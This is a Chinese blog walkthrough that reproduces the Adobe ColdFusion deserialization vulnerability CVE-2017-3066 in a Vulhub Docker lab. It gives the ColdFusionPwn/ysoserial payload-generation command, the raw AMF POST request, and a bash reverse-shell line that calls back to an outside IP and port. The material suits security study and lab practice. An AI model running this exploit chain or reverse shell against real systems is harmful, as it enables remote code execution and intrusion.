利用Vulnhub复现漏洞 - Adobe ColdFusion 反序列化漏洞(CVE-2017-3066)

Vulnhub官方复现教程

https://vulhub.org/#/environments/coldfusion/CVE-2017-3066/

漏洞原理

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。

Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。以下版本受到影响:Adobe ColdFusion (2016 release) Update 3及之前的版本,ColdFusion 11 Update 11及之前的版本,ColdFusion 10 Update 22及之前的版本。

参考链接:

复现漏洞

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056

进入路径为

cd /root/vulhub/coldfusion/CVE-2017-3066

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

此本安装环境需要大概1G+的数据下载,网络不好的起来走动走动吧:)
在这里插入图片描述
环境启动成功后,访问http://your-ip:8500/CFIDE/administrator/index.cfm,输入密码vulhub,即可成功安装Adobe ColdFusion。
在这里插入图片描述
【注意】本文中所有的your-ip请改为自己的IP地址

漏洞复现

生成POC

使用ColdFusionPwn工具来生成POC。
下载ColdFusionPwn
下载ysoserial
【注意】下载的jar包可能因为时间不同,而更新,包名也就不同。注意将命令中的包名,替换为你下载时候的名字

java -cp ColdFusionPwn.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/CVE-2017-3066_is_success' poc.ser

【再注意】上面的命令在Win10下我没有执行成功,错误提示为错误: 找不到或无法加载主类 com.codewhitesec.coldfusionpwn.ColdFusionPwner。在Kali成功生成了?

发送POC

生成poc.ser文件后,将POC作为数据包body发送给http://your-ip:8500/flex2gateway/amf,Content-Type为application/x-amf

POST /flex2gateway/amf HTTP/1.1
Host: your-ip:8500
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2853

[...poc...]

在这里插入图片描述

发送POC内容

由于编码问题,如果直接从Notepad++/Notepad里面复制粘贴为body部分,是不成功的,即使返回的状态码是200
在这里插入图片描述
正确发送方式为:
右击选择Paste From File,上传poc.cer文件
在这里插入图片描述
【感谢豆老师?的纠错,以及科普编码问题】?
再到Raw界面添加HTTP头部,如果成功,并且打算以后还需要用的话,右击选择Copy to File保存
在这里插入图片描述

检验POC

进入容器
通过DockerID进入容器
docker exec -it 容器ID /bin/bash  
查看容器ID
docker ps

在这里插入图片描述

通过Docker名字进入容器
docker-compose exec 容器名字 bash

比如本次环境中是:

docker-compose exec coldfusion bash
查看/tmp/
ls /tmp/

发现/tmp/success已成功创建:
在这里插入图片描述
将POC改成反弹命令,成功拿到shell:
在这里插入图片描述

反弹Shell

格式

bash -i >& /dev/tcp/ip/port 0>&1

例子

比如监听192.168.236.138的333端口

bash -i >& /dev/tcp/192.168.236.138/333 0>&1
©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页